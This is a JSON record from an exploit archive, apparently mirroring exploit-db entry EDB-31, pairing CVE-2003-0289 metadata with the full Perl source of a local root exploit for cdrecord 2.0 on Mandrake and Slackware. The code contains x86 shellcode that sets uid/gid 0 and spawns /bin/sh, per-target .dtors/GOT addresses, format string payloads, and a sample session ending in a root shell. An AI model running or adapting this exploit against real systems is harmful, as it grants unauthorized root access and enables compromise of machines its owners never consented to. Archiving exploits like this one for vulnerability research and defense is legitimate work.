{"exploit":{"id":"EDB-31","name":"CDRTools CDRecord 2.0 (Mandrake / Slackware) - Local Privilege Escalation (LPE)","description":"CDRTools CDRecord 2.0 (Mandrake / Slackware) - Local Privilege Escalation (LPE)","cves":["CVE-2003-0289"],"author":"anonymous","published":"2003-05-14","platform":"linux","type":"local","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/31","path":"exploits/linux/local/31.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-31.pl","vulnerabilities":[{"id":"CVE-2003-0289","state":"PUBLISHED","title":null,"titleSource":null,"description":"Format string vulnerability in scsiopen.c of the cdrecord program in cdrtools 2.0 allows local users to gain privileges via format string specifiers in the dev parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0289","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0289"},"updatedAt":"2024-08-08T01:50:47.328Z","retrievedAt":"2026-11-26T12:06:48.276Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-31.png?v=2","url":"https://exploitbin.com/exploits/EDB-31","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-31/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-31/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n###########################################################\n# Cdrecord version 2.0 and < local root exploit.\n#\n#\n#   [wsxz@localhost buffer]$ perl priv8cdr.pl 4\n#   Using target number 4\n#   Using Mr .dtors 0x808c82c\n#   Cdrecord 2.0 (i586-mandrake-linux-gnu)\n#\n#   scsibus: -1 target: -1 lun: -1\n#   Warning: Open by 'devname' is unintentional and not supported.\n#   /usr/bin/cdrecord: No such file or directory. Cannot open '. Cannot open SCSI driver.\n#   /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'. Make sure you are root.\n#   /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord dev=help'.\n#   sh-2.05b# id\n#   uid=0(root) gid=0(root) groups=503(wsxz)\n#   sh-2.05b#\n#####################################################\n\n\t\t    $shellcode =\n                    \"\\x31\\xc0\\x31\\xdb\\xb0\\x17\\xcd\\x80\".#setuid 0\n\t\t    \"\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\".#setgid 0\n\t\t    \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\".\n                    \"\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\".\n                    \"\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\".\n                    \"\\xff\\xff/bin/sh\";\n\n\t\t    $cdrecordpath = \"/usr/bin/cdrecord\";\n\t\t    $nop = \"\\x90\"; # x86 NOP\n                    $offset = 0; # Default offset to try.\n\n\n     if (@ARGV == 1 || @ARGV == 2) {\n                    $target = $ARGV[0];\n                    $offset = $ARGV[1];\n\t\t    }else{\n\t\t    printf(\" Priv8security.com Cdrecord local root exploit!!\\n\");\n\t\t    printf(\" usage: $0 target\\n\");\n\t\t    printf(\" List of targets:\\n\");\n\t\t    printf(\"      1 - Linux Mandrake 8.2 Cdrecord 1.11a15\\n\");\n                    printf(\"      2 - Linux Mandrake 9.0 Cdrecord 1.11a32\\n\");\n                    printf(\"      3 - Linux Slackware 8.1 Cdrecord 1.11a24 not suid by default!!!\\n\");\n\t\t    printf(\"      4 - Linux Mandrake 9.1 Cdrecord 2.0\\n\");\n\t\t    exit(1);\n\t\t    }\n\n     if ( $target eq \"1\" ) {\n                   $retword = 0x0807af38; #Mr  .dtors ;)\n\t\t   $fmtstring = \"%.134727238x%x%x%x%x%x%x%x%x%n:\";\n\t\t    }\n     if ( $target eq \"2\" ) {\n                  # $retword = 0x08084578; #.dtors\n                   $retword = 0x08084684; #.GOT exit\n\t\t   $fmtstring = \"%.134769064x%x%x%x%x%x%x%x%x%n:\";\n\t\t    }\n      if ( $target eq \"3\" ) {\n                   $retword = 0x0807f658;\n                   $fmtstring =  \"%.134745456x%x%x%x%x%x%x%x%x%x%x%n:\";\n\t\t    }\n       if ( $target eq \"4\" ) {\n                   $retword = 0x0808c82c; #.GOT exit\n\t\t   $fmtstring = \"%.134802669x%x%x%x%x%x%x%x%x%n:\";\n\t\t    }\n\n\t\t    printf(\"Using target number %d\\n\", $target);\n                    printf(\"Using Mr .dtors 0x%x\\n\",$retword);\n\n\t\t    $new_retword = pack('l', ($retword));\n\t\t    $new_retshell = pack('l', ($retshell));\n                    $buffer2 = $new_retword;\n                    $buffer2 .= $nop x 150;\n                    $buffer2 .= $shellcode;\n                    $buffer2 .= $fmtstring;\n\n\t\t    exec(\"$cdrecordpath dev='$buffer2' '$cdrecordpath'\");\n\n\n# milw0rm.com [2003-05-14]","sha256":"8cb4dabdb84241b2c37683c808af5f5f5f7f3441ff56acc60818b243a2bdfaf7","bytes":3001,"fetchedAt":"2026-11-26T12:06:41.563Z","encoding":"utf-8 (display only; download retains original bytes)"}